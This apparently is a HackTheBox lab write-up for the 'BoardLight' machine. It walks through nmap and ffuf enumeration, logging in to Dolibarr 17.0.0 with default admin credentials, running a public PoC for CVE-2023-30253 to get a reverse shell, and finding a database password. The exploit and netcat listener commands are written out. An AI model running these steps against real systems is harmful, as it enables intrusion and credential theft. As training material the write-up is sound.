> For the complete documentation index, see [llms.txt](https://h3ckt0r.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ckt0r.gitbook.io/0xsec/offensive-security/oscp/writeups/htb/boardlight.md). # BoardLight **Date:** 14, jun, 2024 **Author:** H3cktor ### Recon **Using NMAP to make Recon** ```bash nmap -sC -sV 10.10.11.11 ``` -sV => Attempts to determine the version of the service running on port -sC => Scan with default NSE scripts. Considered useful for discovery and safe

After the **nmap** scan we can see an apache server listening on port 80: Lets add this to our host file: ```bash sudo nano /etc/hosts ```

Lets first try to do a directory search to try to find any hidden files/**directory's**. I will use **gobuster** to do this:

Make subdomain enumeration Using **FFUF** ```bash ffuf -H "Host: FUZZ.board.htb" -u http://10.10.11.11/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 6243 ```

See i found the Subdomain crm.10.10.11.11

**I Found the crm panel**

Ok Now Found the Dolibarr version 17.0.0 and i Search in Google to get any CVE i found [Dolibarr-17.0.0-CVE-2023-30253](https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253) Reverse Shell POC exploit for **`Dolibarr <= 17.0.0 (CVE-2023-30253)`**, PHP Code Injection ```bash sudo python3 exploit.py http://crm.board.htb admin admin 9000 ``` listen revers shell => Must run listening in First ``` nc -nvlp 9000 ``` \ First I provided a listener and then executed the exploit.py file. Then I provided the credentials as well as my attacker ip and the listening port. After executing, I successfully got a reverse shell

B0000000M!

I cat Found in pass or Cardantional put i see the user name larissa

I found the main database password in the file.